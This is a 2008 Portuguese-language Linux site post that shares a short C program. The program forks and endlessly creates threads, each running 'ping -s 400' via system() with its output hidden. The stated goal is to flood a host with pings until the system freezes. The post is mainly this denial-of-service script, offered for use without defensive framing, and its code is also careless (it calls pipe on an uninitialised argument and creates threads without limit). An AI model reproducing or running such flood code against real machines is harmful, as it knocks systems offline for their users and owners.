Vários pacotes de ping disparados contra o host
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 6.464 ]
Homepage: http://prginfo.blogspot.com
O host responderá a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.
Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término. O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.
/* progacao4.c */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */ acao() { int return_thread; pthread_t thread; while (1) { return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */ usleep (10); /* já explicado no exemplo 2 */ } } main () /* o main já foi esplicado no exemplo 1 */ { int i; i=fork(); if (i==0) acao(); } void ping (char *host) { int desc; close(1); pipe (desc); /* o pipe já foi esplicado no exemplo 1 */ system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */ }
Instalar e Configurar o Slackware Linux em 2025
Como configurar os repositórios do apt no Debian 12 em 2025
Passkeys: A Evolução da Autenticação Digital
Instalação de distro Linux em computadores, netbooks, etc, em rede com o Clonezilla
Configurando o Conky para iniciar corretamente no sistema
3 configurações básicas que podem melhorar muito a sua edição pelo editor nano
Como colorir os logs do terminal com ccze
Instalação Microsoft Edge no Linux Mint 22
Como configurar posicionamento e movimento de janelas no Lubuntu (Openbox) com atalhos de teclado
configurar 2ª monitor via terminal lubuntu (0)
Como atribuir corretamente o CNES final baseado nas regras de certific... (1)